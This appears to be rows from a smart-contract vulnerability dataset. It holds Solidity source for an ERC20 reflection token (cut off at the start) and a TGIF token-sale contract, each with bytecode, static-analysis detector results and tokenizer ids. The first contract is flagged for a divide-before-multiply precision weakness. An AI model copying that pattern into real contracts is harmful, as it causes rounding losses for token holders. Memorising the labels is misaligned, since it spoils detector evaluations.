emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) private { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee); } function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) { uint256 tFee = tAmount.div(100).mul(2); uint256 tTransferAmount = tAmount.sub(tFee); return (tTransferAmount, tFee); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x7396cc6c298683337b0d7e5c51b436f44768e126ff30146080604052600080fdfea26469706673582212207ea1b68184b1441e2e199dd1f93e821f35ab5f15e065a80e73863f50588ed15e64736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 9468, 2575, 2278, 24594, 20842, 2620, 22394, 24434, 2497, 2692, 2094, 2581, 2063, 2629, 2278, 22203, 2497, 23777, 2575, 2546, 22932, 2581, 2575, 2620, 2063, 12521, 2575, 4246, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 6185, 1011, 5718, 1008, 1013, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 6185, 1011, 5718, 1008, 1013, 1013, 1013, 27589, 2063, 1012, 5446, 1006, 27589, 2063, 1007, 1013, 1013, 27589, 2063, 13366, 2923, 8757, 3899, 8586, 28765, 1010, 2009, 1521, 1055, 3899, 2063, 2021, 13366, 2072, 1013, 1013, 27589, 2063, 2003, 1037, 13366, 13490, 5649, 7876, 2033, 4168, 6113, 9598, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,445
0x96cc76649e890c1d019e580a233c56f176a48113
pragma solidity ^0.4.18; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } function max64(uint64 a, uint64 b) internal pure returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal pure returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } } contract ERC20Basic { uint256 public totalSupply; bool public transfersEnabled; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 { uint256 public totalSupply; bool public transfersEnabled; function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); function allowance(address _owner, address _spender) public constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev protection against short address attack */ modifier onlyPayloadSize(uint numwords) { assert(msg.data.length == numwords * 32 + 4); _; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public onlyPayloadSize(2) returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); require(transfersEnabled); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping(address => mapping(address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public onlyPayloadSize(3) returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); require(transfersEnabled); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public onlyPayloadSize(2) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval(address _spender, uint _addedValue) public returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract TGIF is StandardToken { string public constant name = "TGIF Token"; string public constant symbol = "TGIF"; uint8 public constant decimals = 18; uint256 public constant INITIAL_SUPPLY = 5 * 10**9 * (10**uint256(decimals)); uint256 public weiRaised; uint256 public tokenAllocated; address public owner; bool public saleToken = true; event OwnerChanged(address indexed previousOwner, address indexed newOwner); event TokenPurchase(address indexed beneficiary, uint256 value, uint256 amount); event TokenLimitReached(uint256 tokenRaised, uint256 purchasedToken); event Transfer(address indexed _from, address indexed _to, uint256 _value); function TGIF(address _owner) public { totalSupply = INITIAL_SUPPLY; owner = _owner; //owner = msg.sender; // for testing balances[owner] = INITIAL_SUPPLY; tokenAllocated = 0; transfersEnabled = true; } // fallback function can be used to buy tokens function() payable public { buyTokens(msg.sender); } function buyTokens(address _investor) public payable returns (uint256){ require(_investor != address(0)); require(saleToken == true); address wallet = owner; uint256 weiAmount = msg.value; uint256 tokens = validPurchaseTokens(weiAmount); if (tokens == 0) {revert();} weiRaised = weiRaised.add(weiAmount); tokenAllocated = tokenAllocated.add(tokens); mint(_investor, tokens, owner); TokenPurchase(_investor, weiAmount, tokens); wallet.transfer(weiAmount); return tokens; } function validPurchaseTokens(uint256 _weiAmount) public returns (uint256) { uint256 addTokens = getTotalAmountOfTokens(_weiAmount); if (addTokens > balances[owner]) { TokenLimitReached(tokenAllocated, addTokens); return 0; } return addTokens; } /** * Tokensend Functions */ function getTotalAmountOfTokens(uint256 _weiAmount) internal pure returns (uint256) { uint256 amountOfTokens = 0; if(_weiAmount == 0){ amountOfTokens = 0 * (10**uint256(decimals)); } if( _weiAmount == 0.002 ether){ amountOfTokens = 20 * 10**3 * (10**uint256(decimals)); } if( _weiAmount == 0.005 ether){ amountOfTokens = 50 * 10**3 * (10**uint256(decimals)); } if( _weiAmount == 0.01 ether){ amountOfTokens = 100 * 10**3 * (10**uint256(decimals)); } if( _weiAmount == 0.05 ether){ amountOfTokens = 500 * 10**3 * (10**uint256(decimals)); } if( _weiAmount == 0.1 ether){ amountOfTokens = 1000 * 10**3 * (10**uint256(decimals)); } if( _weiAmount == 0.5 ether){ amountOfTokens = 5000 * 10**3 * (10**uint256(decimals)); } if( _weiAmount == 1 ether){ amountOfTokens = 10000 * 10**3 * (10**uint256(decimals)); } return amountOfTokens; } function mint(address _to, uint256 _amount, address _owner) internal returns (bool) { require(_to != address(0)); require(_amount <= balances[_owner]); balances[_to] = balances[_to].add(_amount); balances[_owner] = balances[_owner].sub(_amount); Transfer(_owner, _to, _amount); return true; } modifier onlyOwner() { require(msg.sender == owner); _; } function changeOwner(address _newOwner) onlyOwner public returns (bool){ require(_newOwner != address(0)); OwnerChanged(owner, _newOwner); owner = _newOwner; return true; } function startSale() public onlyOwner { saleToken = true; } function stopSale() public onlyOwner { saleToken = false; } function enableTransfers(bool _transfersEnabled) onlyOwner public { transfersEnabled = _transfersEnabled; } /** * Peterson's Law Protection * Claim tokens */ function claimTokens() public onlyOwner { owner.transfer(this.balance); uint256 balance = balanceOf(this); transfer(owner, balance); Transfer(this, owner, balance); } }
0x60806040526004361061013e576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde031461014a578063095ea7b3146101da57806318160ddd1461023f57806323b872dd1461026a5780632ff2e9dc146102ef578063313ce5671461031a5780634042b66f1461034b57806348c54b9d14610376578063661884631461038d57806370a08231146103f257806378f7aeee146104495780638da5cb5b1461047457806395d89b41146104cb578063a6f9dae11461055b578063a9059cbb146105b6578063b66a0e5d1461061b578063bef97c8714610632578063d73dd62314610661578063dd62ed3e146106c6578063e36b0b371461073d578063e985e36714610754578063ec8ac4d814610783578063f41e60c5146107cd578063fc38ce19146107fc575b6101473361083d565b50005b34801561015657600080fd5b5061015f6109ee565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561019f578082015181840152602081019050610184565b50505050905090810190601f1680156101cc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101e657600080fd5b50610225600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a27565b604051808215151515815260200191505060405180910390f35b34801561024b57600080fd5b50610254610b19565b6040518082815260200191505060405180910390f35b34801561027657600080fd5b506102d5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b1f565b604051808215151515815260200191505060405180910390f35b3480156102fb57600080fd5b50610304610f12565b6040518082815260200191505060405180910390f35b34801561032657600080fd5b5061032f610f24565b604051808260ff1660ff16815260200191505060405180910390f35b34801561035757600080fd5b50610360610f29565b6040518082815260200191505060405180910390f35b34801561038257600080fd5b5061038b610f2f565b005b34801561039957600080fd5b506103d8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110cf565b604051808215151515815260200191505060405180910390f35b3480156103fe57600080fd5b50610433600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611360565b6040518082815260200191505060405180910390f35b34801561045557600080fd5b5061045e6113a9565b6040518082815260200191505060405180910390f35b34801561048057600080fd5b506104896113af565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156104d757600080fd5b506104e06113d5565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610520578082015181840152602081019050610505565b50505050905090810190601f16801561054d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561056757600080fd5b5061059c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061140e565b604051808215151515815260200191505060405180910390f35b3480156105c257600080fd5b50610601600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061156e565b604051808215151515815260200191505060405180910390f35b34801561062757600080fd5b506106306117c6565b005b34801561063e57600080fd5b5061064761183f565b604051808215151515815260200191505060405180910390f35b34801561066d57600080fd5b506106ac600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611852565b604051808215151515815260200191505060405180910390f35b3480156106d257600080fd5b50610727600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a4e565b6040518082815260200191505060405180910390f35b34801561074957600080fd5b50610752611aed565b005b34801561076057600080fd5b50610769611b66565b604051808215151515815260200191505060405180910390f35b6107b7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061083d565b6040518082815260200191505060405180910390f35b3480156107d957600080fd5b506107fa600480360381019080803515159060200190929190505050611b79565b005b34801561080857600080fd5b5061082760048036038101908080359060200190929190505050611bf2565b6040518082815260200191505060405180910390f35b600080600080600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415151561087f57600080fd5b60011515600860149054906101000a900460ff1615151415156108a157600080fd5b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1692503491506108d282611bf2565b905060008114156108e257600080fd5b6108f782600654611cbd90919063ffffffff16565b60068190555061091281600754611cbd90919063ffffffff16565b6007819055506109458582600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611cdb565b508473ffffffffffffffffffffffffffffffffffffffff167fcd60aa75dea3072fbc07ae6d7d856b5dc5f4eee88854f5b4abf7b680ef8bc50f8383604051808381526020018281526020019250505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f193505050501580156109e2573d6000803e3d6000fd5b50809350505050919050565b6040805190810160405280600a81526020017f5447494620546f6b656e0000000000000000000000000000000000000000000081525081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60025481565b60006003600460208202016000369050141515610b3857fe5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614151515610b7457600080fd5b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548311151515610bc257600080fd5b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548311151515610c4d57600080fd5b600360009054906101000a900460ff161515610c6857600080fd5b610cba83600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f0090919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d4f83600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cbd90919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e2183600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f0090919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b601260ff16600a0a64012a05f2000281565b601281565b60065481565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f8d57600080fd5b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f1935050505015801561100c573d6000803e3d6000fd5b5061101630611360565b9050611044600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168261156e565b50600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350565b600080600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050808311156111e0576000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611274565b6111f38382611f0090919063ffffffff16565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60075481565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600481526020017f544749460000000000000000000000000000000000000000000000000000000081525081565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561146c57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141515156114a857600080fd5b8173ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fb532073b38c83145e3e5135377a08bf9aab55bc0fd7c1179cd4fb995d2a5159c60405160405180910390a381600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b6000600260046020820201600036905014151561158757fe5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141515156115c357600080fd5b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054831115151561161157600080fd5b600360009054906101000a900460ff16151561162c57600080fd5b61167e83600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f0090919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061171383600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cbd90919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600191505092915050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561182257600080fd5b6001600860146101000a81548160ff021916908315150217905550565b600360009054906101000a900460ff1681565b60006118e382600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cbd90919063ffffffff16565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b60006002600460208202016000369050141515611a6757fe5b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205491505092915050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611b4957600080fd5b6000600860146101000a81548160ff021916908315150217905550565b600860149054906101000a900460ff1681565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611bd557600080fd5b80600360006101000a81548160ff02191690831515021790555050565b600080611bfe83611f19565b905060046000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115611cb3577f77fcbebee5e7fc6abb70669438e18dae65fc2057b32b694851724c2726a35b6260075482604051808381526020018281526020019250505060405180910390a160009150611cb7565b8091505b50919050565b6000808284019050838110151515611cd157fe5b8091505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614151515611d1857600080fd5b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548311151515611d6657600080fd5b611db883600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cbd90919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611e4d83600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f0090919063ffffffff16565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600190509392505050565b6000828211151515611f0e57fe5b818303905092915050565b600080600090506000831415611f3757601260ff16600a0a60000290505b66071afd498d0000831415611f5557601260ff16600a0a614e200290505b6611c37937e08000831415611f7357601260ff16600a0a61c3500290505b662386f26fc10000831415611f9257601260ff16600a0a620186a00290505b66b1a2bc2ec50000831415611fb157601260ff16600a0a6207a1200290505b67016345785d8a0000831415611fd157601260ff16600a0a620f42400290505b6706f05b59d3b20000831415611ff157601260ff16600a0a624c4b400290505b670de0b6b3a764000083141561201157601260ff16600a0a629896800290505b809150509190505600a165627a7a72305820eaa3621968a4e610f9956055f68a8d602b1dfba46016d0c3a7cdd34e3e3eadfc0029
{"success": true, "error": null, "results": {}}
true
null
{}
